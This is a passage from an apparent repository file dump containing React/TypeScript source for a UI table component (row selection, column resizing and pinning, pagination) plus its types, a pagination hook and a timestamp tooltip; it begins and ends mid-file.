transition-colors duration-75\",\n    \"group-data-[selected=true]/row:bg-blue-50\",\n  ]);\n\nconst resizingClassName = cn([\n  \"absolute right-0 top-0 h-full w-1 cursor-col-resize select-none touch-none\",\n  \"bg-neutral-300/50\",\n  \"opacity-0 group-hover/resize:opacity-100 hover:opacity-100\",\n  \"group-hover/resize:bg-neutral-300 hover:bg-neutral-400\",\n  \"transition-all duration-200\",\n  \"-mr-px\",\n  \"after:absolute after:right-0 after:top-0 after:h-full after:w-4 after:translate-x-1/2\",\n]);\n\nexport function useTable<T extends any>(\n  props: UseTableProps<T>,\n): TableProps<T> & { table: TableType<T> } {\n  const {\n    data,\n    rowCount,\n    columns,\n    defaultColumn,\n    columnPinning,\n    pagination,\n    onPaginationChange,\n    getRowId,\n    enableColumnResizing = false,\n    columnResizeMode = \"onChange\",\n  } = props;\n\n  const selectionEnabled =\n    !!props.onRowSelectionChange || !!props.selectionControls;\n\n  const [columnVisibility, setColumnVisibility] = useState<VisibilityState>(\n    props.columnVisibility ?? {},\n  );\n\n  const [rowSelection, setRowSelection] = useState<RowSelectionState>(\n    props.selectedRows ?? {},\n  );\n\n  const lastSelectedRowId = useRef<string | null>(null);\n\n  // Manually unset row selection if the row is no longer in the data\n  // There doesn't seem to be a proper solution for this: https://github.com/TanStack/table/issues/4498\n  useEffect(() => {\n    if (!getRowId || !data) return;\n\n    const entries = Object.entries(rowSelection);\n    if (entries.length > 0) {\n      const newEntries = entries.filter(([key]) =>\n        data.find((row) => getRowId?.(row) === key),\n      );\n\n      if (newEntries.length !== entries.length)\n        setRowSelection(Object.fromEntries(newEntries));\n    }\n  }, [data, rowSelection, getRowId]);\n\n  useEffect(() => {\n    if (props.selectedRows && !deepEqual(props.selectedRows, rowSelection)) {\n      setRowSelection(props.selectedRows ?? {});\n    }\n  }, [props.selectedRows]);\n\n  useEffect(() => {\n    props.onRowSelectionChange?.(table.getSelectedRowModel().rows);\n  }, [rowSelection]);\n\n  // Update internal columnVisibility when prop value changes\n  useEffect(() => {\n    if (\n      props.columnVisibility &&\n      !deepEqual(props.columnVisibility, columnVisibility)\n    )\n      setColumnVisibility(props.columnVisibility ?? {});\n  }, [props.columnVisibility]);\n\n  // Call onColumnVisibilityChange when internal columnVisibility changes\n  useEffect(() => {\n    props.onColumnVisibilityChange?.(columnVisibility);\n  }, [columnVisibility]);\n\n  const normalizedColumns = useMemo(\n    () =>\n      columns.map((column: any) =>\n        column?.id === \"menu\"\n          ? {\n              ...column,\n              minSize: MENU_COLUMN_WIDTH,\n              size: MENU_COLUMN_WIDTH,\n              maxSize: MENU_COLUMN_WIDTH,\n            }\n          : column,\n      ),\n    [columns],\n  );\n\n  const tableColumns = useMemo(\n    () => [\n      ...(selectionEnabled\n        ? [\n            {\n              id: \"select\",\n              enableHiding: false,\n              minSize: SELECT_COLUMN_WIDTH,\n              size: SELECT_COLUMN_WIDTH,\n              maxSize: SELECT_COLUMN_WIDTH,\n              header: ({ table }: { table: TableType<T> }) => (\n                <button\n                  type=\"button\"\n                  className=\"flex size-full items-center justify-center\"\n                  onClick={(e) => {\n                    e.stopPropagation();\n                    table.toggleAllRowsSelected();\n                  }}\n                  title=\"Select all\"\n                >\n                  <Checkbox\n                    className=\"border-border-default pointer-events-none size-4 rounded data-[state=checked]:bg-black data-[state=indeterminate]:bg-black\"\n                    checked={\n                      table.getIsAllRowsSelected()\n                        ? true\n                        : table.getIsSomeRowsSelected()\n                          ? \"indeterminate\"\n                          : false\n                    }\n                  />\n                </button>\n              ),\n              cell: ({ row, table }: { row: Row<T>; table: TableType<T> }) => {\n                const onSelectRow = (e: MouseEvent<HTMLButtonElement>) => {\n                  e.stopPropagation();\n                  const currentId = getRowId?.(row.original);\n                  const rows = table.getRowModel().rows;\n                  const lastSelectedIndex =\n                    lastSelectedRowId.current !== null\n                      ? rows.findIndex(\n                          (row) =>\n                            getRowId?.(row.original) ===\n                            lastSelectedRowId.current,\n                        )\n                      : -1;\n\n                  if (\n                    e.shiftKey &&\n                    lastSelectedRowId.current !== null &&\n                    lastSelectedIndex !== -1\n                  ) {\n                    // Multi-select w/ shift key\n                    const currentIndex =\n                      currentId !== undefined\n                        ? rows.findIndex(\n                            (row) => getRowId?.(row.original) === currentId,\n                          )\n                        : -1;\n                    if (currentIndex === -1) {\n                      row.toggleSelected();\n                      lastSelectedRowId.current = currentId ?? null;\n                      return;\n                    }\n\n                    const start = Math.min(lastSelectedIndex, currentIndex);\n                    const end = Math.max(lastSelectedIndex, currentIndex);\n                    const rangeIds = rows\n                      .slice(start, end + 1)\n                      .map((row) => getRowId?.(row.original))\n                      .filter((id): id is string => id !== undefined);\n\n                    table.setRowSelection((rowSelection) => {\n                      const validRangeIds = rangeIds.filter(\n                        (id): id is string => id !== undefined,\n                      );\n                      const alreadySelected =\n                        currentId !== undefined &&\n                        (rowSelection?.[currentId] ?? false);\n\n                      return {\n                        ...rowSelection,\n                        ...Object.fromEntries(\n                          validRangeIds.map((id) => [id, !alreadySelected]),\n                        ),\n                      };\n                    });\n\n                    lastSelectedRowId.current = currentId ?? null;\n                  } else {\n                    row.toggleSelected();\n                    lastSelectedRowId.current = currentId ?? null;\n                  }\n                };\n\n                return (\n                  <button\n                    type=\"button\"\n                    className=\"flex size-full items-center justify-center\"\n                    onClick={onSelectRow}\n                    title=\"Select\"\n                  >\n                    <Checkbox\n                      className=\"border-border-default pointer-events-none size-4 rounded data-[state=checked]:bg-black data-[state=indeterminate]:bg-black\"\n                      checked={row.getIsSelected()}\n                    />\n                  </button>\n                );\n              },\n            },\n          ]\n        : []),\n      ...normalizedColumns,\n    ],\n    [selectionEnabled, normalizedColumns],\n  );\n\n  const table = useReactTable({\n    data,\n    rowCount,\n    columns: tableColumns,\n    defaultColumn: {\n      minSize: enableColumnResizing ? 120 : 0,\n      size: enableColumnResizing ? 120 : 0,\n      maxSize: enableColumnResizing ? 300 : undefined,\n      enableResizing: enableColumnResizing,\n      ...defaultColumn,\n    },\n    getCoreRowModel: getCoreRowModel(),\n    onPaginationChange,\n    onColumnVisibilityChange: (visibility) => setColumnVisibility(visibility),\n    onRowSelectionChange: setRowSelection,\n    state: {\n      pagination,\n      columnVisibility,\n      columnPinning: { left: [], right: [], ...columnPinning },\n      rowSelection,\n    },\n    manualPagination: true,\n    autoResetPageIndex: false,\n    manualSorting: true,\n    getRowId,\n    enableColumnResizing,\n    columnResizeMode,\n  });\n\n  return {\n    ...props,\n    columnVisibility,\n    table,\n    enableColumnResizing,\n  };\n}\n\ntype ResizableTableRowProps<T> = {\n  row: Row<T>;\n  rowProps?: HTMLAttributes<HTMLTableRowElement>;\n  table: TableType<T>;\n} & Pick<\n  TableProps<T>,\n  \"cellRight\" | \"tdClassName\" | \"onRowClick\" | \"onRowAuxClick\"\n>;\n\n// Memoized row component to prevent re-renders during column resizing\nconst ResizableTableRow = memo(\n  function ResizableTableRow<T>({\n    row,\n    onRowClick,\n    onRowAuxClick,\n    rowProps,\n    cellRight,\n    tdClassName,\n    table,\n  }: ResizableTableRowProps<T>) {\n    const { className, ...rest } = rowProps || {};\n\n    return (\n      <tr\n        key={row.id}\n        className={cn(\n          \"group/row\",\n          onRowClick && \"cursor-pointer select-none\",\n          // hacky fix: if there are more than 8 rows, remove the bottom border from the last row\n          table.getRowModel().rows.length > 8 &&\n            row.index === table.getRowModel().rows.length - 1 &&\n            \"[&_td]:border-b-0\",\n          className,\n        )}\n        onClick={\n          onRowClick\n            ? (e) => {\n                // Ignore if click is on an interactive child\n                if (isClickOnInteractiveChild(e)) return;\n                onRowClick(row, e);\n              }\n            : undefined\n        }\n        onAuxClick={\n          onRowAuxClick\n            ? (e) => {\n                // Ignore if click is on an interactive child\n                if (isClickOnInteractiveChild(e)) return;\n                onRowAuxClick(row, e);\n              }\n            : undefined\n        }\n        data-selected={row.getIsSelected()}\n        {...rest}\n      >\n        {row.getVisibleCells().map((cell, index, cells) => {\n          const isUtilityColumn = [\"select\", \"menu\"].includes(cell.column.id);\n          const isSelectColumn = cell.column.id === \"select\";\n          const isColumnAfterSelect = cells[index - 1]?.column.id === \"select\";\n          const disableTruncate = !!(cell.column.columnDef.meta as any)\n            ?.disableTruncate;\n\n          return (\n            <td\n              key={cell.id}\n              className={cn(\n                tableCellClassName(\n                  cell.column.id,\n                  !!onRowClick,\n                  isColumnAfterSelect,\n                ),\n                \"text-content-default group\",\n                getCommonPinningClassNames(\n                  cell.column,\n                  row.index === table.getRowModel().rows.length - 1,\n                ),\n                typeof tdClassName === \"function\"\n                  ? tdClassName(cell.column.id, row)\n                  : tdClassName,\n              )}\n              style={{\n                width: cell.column.getSize(),\n                ...getCommonPinningStyles(cell.column),\n              }}\n            >\n              {isSelectColumn ? (\n                <div className=\"absolute inset-0 flex items-center justify-center\">\n                  {flexRender(cell.column.columnDef.cell, cell.getContext())}\n                </div>\n              ) : (\n                <div\n                  className={cn(\n                    \"flex items-center\",\n                    isUtilityColumn\n                      ? \"justify-center\"\n                      : \"w-full justify-between\",\n                    !isUtilityColumn &&\n                      (disableTruncate\n                        ? \"overflow-visible\"\n                        : \"overflow-hidden truncate\"),\n                  )}\n                >\n                  <div\n                    className={cn(\n                      disableTruncate ? \"whitespace-nowrap\" : \"truncate\",\n                      isUtilityColumn ? \"shrink-0\" : \"min-w-0 shrink grow\",\n                      disableTruncate &&\n                        !isUtilityColumn &&\n                        \"min-w-max shrink-0\",\n                    )}\n                  >\n                    {flexRender(cell.column.columnDef.cell, cell.getContext())}\n                  </div>\n                  {!isUtilityColumn && cellRight?.(cell)}\n                </div>\n              )}\n            </td>\n          );\n        })}\n      </tr>\n    );\n  },\n  (prevProps, nextProps) => {\n    // Only re-render if row data or selection state changes\n    const prevRow = prevProps.row;\n    const nextRow = nextProps.row;\n    return (\n      prevRow.original === nextRow.original &&\n      prevRow.getIsSelected() === nextRow.getIsSelected()\n    );\n  },\n) as <T>(props: ResizableTableRowProps<T>) => JSX.Element;\n\nexport function Table<T>({\n  data,\n  loading,\n  error,\n  emptyState,\n  cellRight,\n  sortBy,\n  sortOrder,\n  onSortChange,\n  sortableColumns = [],\n  className,\n  containerClassName,\n  scrollWrapperClassName,\n  emptyWrapperClassName,\n  thClassName,\n  tdClassName,\n  table,\n  pagination,\n  paginationAllRowsHref, // to show all rows link in the pagination\n  resourceName,\n  onRowClick,\n  onRowAuxClick,\n  onRowSelectionChange,\n  selectionControls,\n  rowProps,\n  rowCount,\n  children,\n  enableColumnResizing = false,\n}: TableProps<T>) {\n  const selectionEnabled = !!onRowSelectionChange || !!selectionControls;\n  const visibleColumns = table.getVisibleLeafColumns();\n  const columnsAfterSelect = new Set<string>();\n  for (let i = 1; i < visibleColumns.length; i++) {\n    if (visibleColumns[i - 1].id === \"select\") {\n      columnsAfterSelect.add(visibleColumns[i].id);\n    }\n  }\n  const scrollWrapperRef = useRef<HTMLDivElement>(null);\n  const utilityColumnWidths = new Map(\n    visibleColumns.map((column) => [column.id, column.getSize()]),\n  );\n  const getUtilityColumnWidth = (columnId: string, fallback: number) =>\n    utilityColumnWidths.get(columnId) ?? fallback;\n\n  const As = paginationAllRowsHref ? Link : \"span\";\n\n  return (\n    <div\n      className={cn(\n        \"border-border-subtle bg-bg-default relative z-0 rounded-xl border\",\n        containerClassName,\n      )}\n    >\n      {(!error && !!data?.length) || loading ? (\n        <>\n          {/* Selection Toolbar Overlay */}\n          {selectionEnabled && (\n            <SelectionToolbar\n              table={table}\n              controls={selectionControls}\n              className=\"absolute left-0 top-0 z-10 rounded-t-[inherit]\"\n            />\n          )}\n          <div\n            ref={scrollWrapperRef}\n            className={cn(\n              \"relative min-h-[400px] overflow-x-auto rounded-[inherit]\",\n              scrollWrapperClassName,\n            )}\n          >\n            <table\n              className={cn(\n                [\n                  \"group/table w-full border-separate border-spacing-0 transition-[border-spacing,margin-top]\",\n                  \"[&_tr>*:first-child]:border-l-transparent\",\n                  \"[&_tr>*:last-child]:border-r-transparent\",\n                  \"[&_tr>*:last-child]:border-r-transparent\",\n                  \"[&_th]:relative [&_th]:select-none\",\n                  enableColumnResizing && \"[&_th]:group/resize\",\n                ],\n                className,\n              )}\n              style={{\n                width: \"100%\",\n                tableLayout: enableColumnResizing ? \"fixed\" : \"auto\",\n                minWidth: enableColumnResizing\n                  ? table\n                      .getVisibleLeafColumns()\n                      .reduce((acc, column) => acc + column.getSize(), 0)\n                  : \"100%\",\n              }}\n            >\n              <thead className=\"relative\">\n                {table.getHeaderGroups().map((headerGroup) => (\n                  <tr key={headerGroup.id}>\n                    {headerGroup.headers.map((header) => {\n                      const isSortableColumn = sortableColumns.includes(\n                        header.column.id,\n                      );\n                      const ButtonOrDiv = isSortableColumn ? \"button\" : \"div\";\n                      const isColumnAfterSelect = columnsAfterSelect.has(\n                        header.column.id,\n                      );\n\n                      return (\n                        <th\n                          key={header.id}\n                          colSpan={header.colSpan}\n                          className={cn(\n                            tableCellClassName(\n                              header.column.id,\n                              false,\n                              isColumnAfterSelect,\n                            ),\n                            \"text-content-emphasis select-none font-medium\",\n                            getCommonPinningClassNames(\n                              header.column,\n                              !table.getRowModel().rows.length,\n                            ),\n                            typeof thClassName === \"function\"\n                              ? thClassName(header.column.id)\n                              : thClassName,\n                            enableColumnResizing && \"relative\",\n                          )}\n                          style={{\n                            width: FIXED_UTILITY_COLUMN_IDS.has(\n                              header.column.id,\n                            )\n                              ? getUtilityColumnWidth(\n                                  header.column.id,\n                                  header.getSize(),\n                                )\n                              : enableColumnResizing\n                                ? header.getSize()\n                                : undefined,\n                            ...getCommonPinningStyles(header.column),\n                          }}\n                        >\n                          <div\n                            className={cn(\n                              header.column.id === \"select\"\n                                ? \"absolute inset-0 flex items-center justify-center\"\n                                : \"flex items-center justify-between gap-6 !pr-0\",\n                            )}\n                          >\n                            <ButtonOrDiv\n                              className={cn(\n                                header.column.id === \"select\"\n                                  ? \"flex size-full items-center justify-center\"\n                                  : \"flex items-center gap-2\",\n                              )}\n                              {...(isSortableColumn && {\n                                type: \"button\",\n                                disabled: !isSortableColumn,\n                                \"aria-label\": \"Sort by column\",\n                                onClick: () =>\n                                  onSortChange?.({\n                                    sortBy: header.column.id,\n                                    sortOrder:\n                                      sortBy !== header.column.id\n                                        ? \"desc\"\n                                        : sortOrder === \"asc\"\n                                          ? \"desc\"\n                                          : \"asc\",\n                                  }),\n                              })}\n                            >\n                              {header.isPlaceholder\n                                ? null\n                                : (() => {\n                                    const headerContent = flexRender(\n                                      header.column.columnDef.header,\n                                      header.getContext(),\n                                    );\n                                    const headerTooltip = (\n                                      header.column.columnDef.meta as any\n                                    )?.headerTooltip;\n\n                                    return (\n                                      <HeaderWithTooltip\n                                        tooltip={headerTooltip}\n                                      >\n                                        {headerContent}\n                                      </HeaderWithTooltip>\n                                    );\n                                  })()}\n                              {isSortableColumn &&\n                                sortBy === header.column.id && (\n                                  <SortOrder\n                                    className=\"h-3 w-3 shrink-0\"\n                                    order={sortOrder || \"desc\"}\n                                  />\n                                )}\n                            </ButtonOrDiv>\n                          </div>\n                          {enableColumnResizing &&\n                            header.column.getCanResize() &&\n                            ![\"select\", \"menu\"].includes(header.column.id) && (\n                              <div\n                                onMouseDown={header.getResizeHandler()}\n                                onTouchStart={header.getResizeHandler()}\n                                onClick={(e) => e.stopPropagation()}\n                                className={resizingClassName}\n                              />\n                            )}\n                        </th>\n                      );\n                    })}\n                  </tr>\n                ))}\n              </thead>\n              <tbody>\n                {table.getRowModel().rows.map((row) => {\n                  const props =\n                    typeof rowProps === \"function\" ? rowProps(row) : rowProps;\n                  const { className, ...rest } = props || {};\n\n                  return enableColumnResizing ? (\n                    <ResizableTableRow\n                      key={`${row.id}-${table\n                        .getVisibleLeafColumns()\n                        .map((col) => col.id)\n                        .join(\",\")}`}\n                      row={row}\n                      onRowClick={onRowClick}\n                      onRowAuxClick={onRowAuxClick}\n                      rowProps={props}\n                      cellRight={cellRight}\n                      tdClassName={tdClassName}\n                      table={table}\n                    />\n                  ) : (\n                    <tr\n                      key={row.id}\n                      className={cn(\n                        \"group/row\",\n                        onRowClick && \"cursor-pointer select-none\",\n                        table.getRowModel().rows.length > 8 &&\n                          row.index === table.getRowModel().rows.length - 1 &&\n                          \"[&_td]:border-b-0\",\n                        className,\n                      )}\n                      onClick={\n                        onRowClick\n                          ? (e) => {\n                              if (isClickOnInteractiveChild(e)) return;\n                              onRowClick(row, e);\n                            }\n                          : undefined\n                      }\n                      onAuxClick={\n                        onRowAuxClick\n                          ? (e) => {\n                              if (isClickOnInteractiveChild(e)) return;\n                              onRowAuxClick(row, e);\n                            }\n                          : undefined\n                      }\n                      data-selected={row.getIsSelected()}\n                      {...rest}\n                    >\n                      {row.getVisibleCells().map((cell) => {\n                        const isUtilityColumn = [\"select\", \"menu\"].includes(\n                          cell.column.id,\n                        );\n                        const isSelectColumn = cell.column.id === \"select\";\n                        const isColumnAfterSelect = columnsAfterSelect.has(\n                          cell.column.id,\n                        );\n                        const disableTruncate = !!(\n                          cell.column.columnDef.meta as any\n                        )?.disableTruncate;\n\n                        return (\n                          <td\n                            key={cell.id}\n                            className={cn(\n                              tableCellClassName(\n                                cell.column.id,\n                                !!onRowClick,\n                                isColumnAfterSelect,\n                              ),\n                              \"text-content-default group\",\n                              getCommonPinningClassNames(\n                                cell.column,\n                                row.index ===\n                                  table.getRowModel().rows.length - 1,\n                              ),\n                              typeof tdClassName === \"function\"\n                                ? tdClassName(cell.column.id, row)\n                                : tdClassName,\n                            )}\n                            style={{\n                              minWidth: cell.column.columnDef.minSize,\n                              maxWidth: cell.column.columnDef.maxSize,\n                              width: FIXED_UTILITY_COLUMN_IDS.has(\n                                cell.column.id,\n                              )\n                                ? getUtilityColumnWidth(\n                                    cell.column.id,\n                                    cell.column.getSize(),\n                                  )\n                                : enableColumnResizing\n                                  ? cell.column.columnDef.size\n                                  : \"auto\",\n                              ...getCommonPinningStyles(cell.column),\n                            }}\n                          >\n                            {isSelectColumn ? (\n                              <div className=\"absolute inset-0 flex items-center justify-center\">\n                                {flexRender(\n                                  cell.column.columnDef.cell,\n                                  cell.getContext(),\n                                )}\n                              </div>\n                            ) : (\n                              <div\n                                className={cn(\n                                  \"flex items-center\",\n                                  isUtilityColumn\n                                    ? \"justify-center\"\n                                    : \"w-full justify-between\",\n                                  !isUtilityColumn &&\n                                    (disableTruncate\n                                      ? \"overflow-visible\"\n                                      : \"overflow-hidden truncate\"),\n                                )}\n                              >\n                                <div\n                                  className={cn(\n                                    disableTruncate\n                                      ? \"whitespace-nowrap\"\n                                      : \"truncate\",\n                                    isUtilityColumn\n                                      ? \"shrink-0\"\n                                      : \"min-w-0 shrink grow\",\n                                    disableTruncate &&\n                                      !isUtilityColumn &&\n                                      \"min-w-max shrink-0\",\n                                  )}\n                                >\n                                  {flexRender(\n                                    cell.column.columnDef.cell,\n                                    cell.getContext(),\n                                  )}\n                                </div>\n                                {!isUtilityColumn && cellRight?.(cell)}\n                              </div>\n                            )}\n                          </td>\n                        );\n                      })}\n                    </tr>\n                  );\n                })}\n              </tbody>\n            </table>\n            {children}\n          </div>\n        </>\n      ) : (\n        <div\n          className={cn(\n            \"text-content-subtle flex h-96 w-full items-center justify-center text-sm\",\n            emptyWrapperClassName,\n          )}\n        >\n          {error ||\n            emptyState ||\n            `No ${resourceName?.(true) || \"items\"} found.`}\n        </div>\n      )}\n      {pagination && !error && !!data?.length && !!rowCount && (\n        <div className=\"border-border-subtle bg-bg-default text-content-default sticky bottom-0 z-10 mx-auto -mt-px flex w-full max-w-full items-center justify-between rounded-b-[inherit] border-t px-4 py-3.5 text-sm leading-6\">\n          <div>\n            <span className=\"hidden sm:inline-block\">Viewing</span>{\" \"}\n            <span className=\"font-medium\">\n              {(\n                (pagination.pageIndex - 1) * pagination.pageSize +\n                1\n              ).toLocaleString()}\n              -\n              {Math.min(\n                (pagination.pageIndex - 1) * pagination.pageSize +\n                  pagination.pageSize,\n                table.getRowCount(),\n              ).toLocaleString()}\n            </span>{\" \"}\n            of{\" \"}\n            <As href={paginationAllRowsHref ?? \"#\"} className=\"font-medium\">\n              {table.getRowCount().toLocaleString()}{\" \"}\n              {resourceName?.(table.getRowCount() !== 1) || \"items\"}\n            </As>\n          </div>\n          <div className=\"flex items-center gap-2\">\n            <Button\n              variant=\"secondary\"\n              text=\"Previous\"\n              className=\"h-7 px-2\"\n              onClick={() => table.previousPage()}\n              // disabled={!table.getCanPreviousPage()}\n              disabled={pagination.pageIndex === 1}\n            />\n            <Button\n              variant=\"secondary\"\n              text=\"Next\"\n              className=\"h-7 px-2\"\n              onClick={() => table.nextPage()}\n              // disabled={!table.getCanNextPage()}\n              disabled={pagination.pageIndex === table.getPageCount()}\n            />\n          </div>\n        </div>\n      )}\n\n      {/* Loading overlay */}\n      <AnimatePresence>\n        {loading && (\n          <motion.div\n            initial={{ opacity: 0 }}\n            animate={{ opacity: 1 }}\n            className=\"bg-bg-default/50 absolute inset-0 h-full\"\n          >\n            <div className=\"flex h-[75vh] w-full items-center justify-center\">\n              <LoadingSpinner />\n            </div>\n          </motion.div>\n        )}\n      </AnimatePresence>\n    </div>\n  );\n}\n\nconst getCommonPinningClassNames = (\n  column: Column<any>,\n  isLastRow: boolean,\n): string => {\n  const isPinned = column.getIsPinned();\n  return cn(\n    isPinned && \"bg-bg-default py-0\",\n    isPinned &&\n      !isLastRow &&\n      \"animate-table-pinned-shadow [animation-timeline:scroll(inline)]\",\n  );\n};\n\nconst getCommonPinningStyles = (column: Column<any>): CSSProperties => {\n  const isPinned = column.getIsPinned();\n\n  return {\n    left: isPinned === \"left\" ? `${column.getStart(\"left\")}px` : undefined,\n    right: isPinned === \"right\" ? `${column.getAfter(\"right\")}px` : undefined,\n    position: isPinned ? \"sticky\" : \"relative\",\n  };\n};\n\n// Component to wrap header content with optional tooltip\nfunction HeaderWithTooltip({\n  children,\n  tooltip,\n}: {\n  children: ReactNode;\n  tooltip?: string;\n}) {\n  if (!tooltip) {\n    return <>{children}</>;\n  }\n\n  return (\n    <Tooltip content={tooltip}>\n      <span className=\"cursor-help underline decoration-dotted underline-offset-2\">\n        {children}\n      </span>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/table/types.ts",
    "content": "import {\n  Cell,\n  ColumnDef,\n  ColumnPinningState,\n  ColumnResizeMode,\n  PaginationState,\n  Row,\n  RowSelectionState,\n  Table as TableType,\n  VisibilityState,\n} from \"@tanstack/react-table\";\nimport {\n  Dispatch,\n  HTMLAttributes,\n  MouseEvent,\n  PropsWithChildren,\n  ReactNode,\n  SetStateAction,\n} from \"react\";\n\ntype BaseTableProps<T> = {\n  columns: ColumnDef<T, any>[];\n  data: T[];\n  loading?: boolean;\n  error?: string;\n  emptyState?: ReactNode;\n  resourceName?: (plural: boolean) => string;\n\n  defaultColumn?: Partial<ColumnDef<T, any>>;\n  columnPinning?: ColumnPinningState;\n  cellRight?: (cell: Cell<T, any>) => ReactNode;\n\n  // Sorting\n  sortableColumns?: string[];\n  sortBy?: string;\n  sortOrder?: \"asc\" | \"desc\";\n  onSortChange?: (props: {\n    sortBy?: string;\n    sortOrder?: \"asc\" | \"desc\";\n  }) => void;\n\n  // Column resizing\n  enableColumnResizing?: boolean;\n  columnResizeMode?: ColumnResizeMode;\n\n  // Column visibility\n  columnVisibility?: VisibilityState;\n  onColumnVisibilityChange?: (visibility: VisibilityState) => void;\n\n  // Row selection\n  getRowId?: (row: T) => string;\n  onRowSelectionChange?: (rows: Row<T>[]) => void;\n  selectedRows?: RowSelectionState;\n  selectionControls?: (table: TableType<T>) => ReactNode;\n\n  // Misc. row props\n  onRowClick?: (row: Row<T>, e: MouseEvent) => void;\n  onRowAuxClick?: (row: Row<T>, e: MouseEvent) => void;\n  rowProps?:\n    | HTMLAttributes<HTMLTableRowElement>\n    | ((row: Row<T>) => HTMLAttributes<HTMLTableRowElement>);\n\n  // Table styles\n  className?: string;\n  containerClassName?: string;\n  scrollWrapperClassName?: string;\n  emptyWrapperClassName?: string;\n  thClassName?: string | ((columnId: string) => string);\n  tdClassName?: string | ((columnId: string, row: Row<T>) => string);\n};\n\nexport type UseTableProps<T> = BaseTableProps<T> &\n  (\n    | {\n        pagination?: PaginationState;\n        onPaginationChange?: Dispatch<SetStateAction<PaginationState>>;\n        rowCount: number;\n      }\n    | { pagination?: never; onPaginationChange?: never; rowCount?: never }\n  );\n\nexport type TableProps<T> = BaseTableProps<T> &\n  PropsWithChildren<{\n    table: TableType<T>;\n  }> &\n  (\n    | {\n        pagination?: PaginationState;\n        paginationAllRowsHref?: string;\n        rowCount: number;\n      }\n    | { pagination?: never; paginationAllRowsHref?: never; rowCount?: never }\n  );\n"
  },
  {
    "path": "packages/ui/src/table/use-table-pagination.tsx",
    "content": "import { PaginationState } from \"@tanstack/react-table\";\nimport { useEffect, useState } from \"react\";\n\nexport function useTablePagination({\n  pageSize,\n  page,\n  onPageChange,\n}: {\n  pageSize: number;\n  page: number;\n  onPageChange?: (page: number) => void;\n}) {\n  const [pagination, setPagination] = useState<PaginationState>({\n    pageIndex: page,\n    pageSize,\n  });\n\n  useEffect(() => {\n    setPagination((p) => ({\n      ...p,\n      pageIndex: page,\n    }));\n  }, [page]);\n\n  useEffect(() => {\n    onPageChange?.(pagination.pageIndex);\n  }, [pagination]);\n\n  return { pagination, setPagination };\n}\n"
  },
  {
    "path": "packages/ui/src/timestamp-tooltip.tsx",
    "content": "\"use client\";\n\nimport { cn } from \"@dub/utils\";\nimport { formatDuration, intervalToDuration } from \"date-fns\";\nimport { useEffect, useMemo, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { Tooltip, TooltipProps } from \"./tooltip\";\n\nconst DAY_MS = 24 * 60 * 60 * 1000;\nconst MONTH_MS = 30 * DAY_MS;\n\nexport type TimestampTooltipProps = {\n  timestamp: Date | string | number | null | undefined;\n  rows?: (\"local\" | \"utc\" | \"unix\")[];\n  interactive?: boolean;\n  className?: string;\n} & Omit<TooltipProps, \"content\">;\n\nfunction getLocalTimeZone(): string {\n  if (typeof Intl !== \"undefined\") {\n    try {\n      return Intl.DateTimeFormat().resolvedOptions().timeZone || \"Local\";\n    } catch (e) {}\n  }\n  return \"Local\";\n}\n\nexport function TimestampTooltip({\n  timestamp,\n  rows,\n  interactive = true,\n  ...tooltipProps\n}: TimestampTooltipProps) {\n  if (!timestamp || new Date(timestamp).toString() === \"Invalid Date\")\n    return tooltipProps.children;\n\n  return (\n    <Tooltip\n      content={\n        <TimestampTooltipContent\n          timestamp={timestamp}\n          rows={rows}\n          interactive={interactive}\n        />\n      }\n      disableHoverableContent={!interactive}\n      {...tooltipProps}\n    />\n  );\n}\n\nfunction TimestampTooltipContent({\n  timestamp,\n  rows = [\"local\", \"utc\"],\n  interactive,\n}: Pick<TimestampTooltipProps, \"timestamp\" | \"rows\" | \"interactive\">) {\n  if (!timestamp)\n    throw new Error(\"Falsy timestamp not permitted in TimestampTooltipContent\");\n\n  const date = new Date(timestamp);\n\n  const commonFormat: Intl.DateTimeFormatOptions = {\n    year: \"numeric\",\n    month: \"short\",\n    day: \"numeric\",\n    hour: \"numeric\",\n    minute: \"numeric\",\n    second: \"numeric\",\n    hour12: true,\n  };\n\n  const diff = new Date().getTime() - date.getTime();\n  const relativeDuration = intervalToDuration({\n    start: date,\n    end: new Date(),\n  });\n  const relative =\n    formatDuration(relativeDuration, {\n      delimiter: \", \",\n      format: [\n        \"years\",\n        \"months\",\n        \"days\",\n        ...(diff < MONTH_MS\n          ? [\n              \"hours\" as const,\n              ...(diff < DAY_MS\n                ? [\"minutes\" as const, \"seconds\" as const]\n                : []),\n            ]\n          : []),\n      ],\n    }) + \" ago\";\n\n  const items: {\n    label: string;\n    shortLabel?: string;\n    successMessageLabel: string;\n    value: string;\n    valueMono?: boolean;\n  }[] = useMemo(\n    () =>\n      rows.map(\n        (key) =>\n          ({\n            local: {\n              label: getLocalTimeZone(),\n              shortLabel: new Date()\n                .toLocaleTimeString(\"en-US\", { timeZoneName: \"short\" })\n                .split(\" \")[2],\n              successMessageLabel: \"local timestamp\",\n              value: date.toLocaleString(\"en-US\", commonFormat),\n            },\n\n            utc: {\n              label: \"UTC\",\n              shortLabel: \"UTC\",\n              successMessageLabel: \"UTC timestamp\",\n              value: new Date(date.getTime()).toLocaleString(\"en-US\", {\n                ...commonFormat,\n                timeZone: \"UTC\",\n              }),\n            },\n\n            unix: {\n              label: \"UNIX Timestamp\",\n              successMessageLabel: \"UNIX timestamp\",\n              value: (date.getTime() / 1000).toString(),\n              valueMono: true,\n            },\n          })[key]!,\n      ),\n    [rows, date],\n  );\n\n  const shortLabels = items.every(({ shortLabel }) => shortLabel);\n\n  // Re-render every second to update the relative time\n  const [_, setRenderCount] = useState(0);\n  useEffect(() => {\n    const interval = setInterval(() => setRenderCount((c) => c + 1), 1000);\n    return () => clearInterval(interval);\n  }, []);\n\n  return (\n    <div className=\"flex max-w-[360px] flex-col gap-2 px-2.5 py-2 text-left text-xs\">\n      {diff > 0 && (\n        <span className=\"text-content-subtle cursor-default\">{relative}</span>\n      )}\n      <table>\n        <tbody>\n          {items.map((row, idx) => (\n            <tr\n              key={idx}\n              className={cn(\n                interactive &&\n                  \"before:bg-bg-emphasis relative select-none before:absolute before:-inset-x-1 before:inset-y-0 before:rounded before:opacity-0 before:content-[''] hover:cursor-copy hover:before:opacity-60 active:before:opacity-100\",\n              )}\n              onClick={\n                interactive\n                  ? async () => {\n                      try {\n                        await navigator.clipboard.writeText(row.value);\n                        toast.success(\n                          `Copied ${row.successMessageLabel} to clipboard`,\n                        );\n                      } catch (e) {\n                        toast.error(\n                          `Failed to copy ${row.successMessageLabel} to clipboard`,\n                        );\n                        console.error(\n                  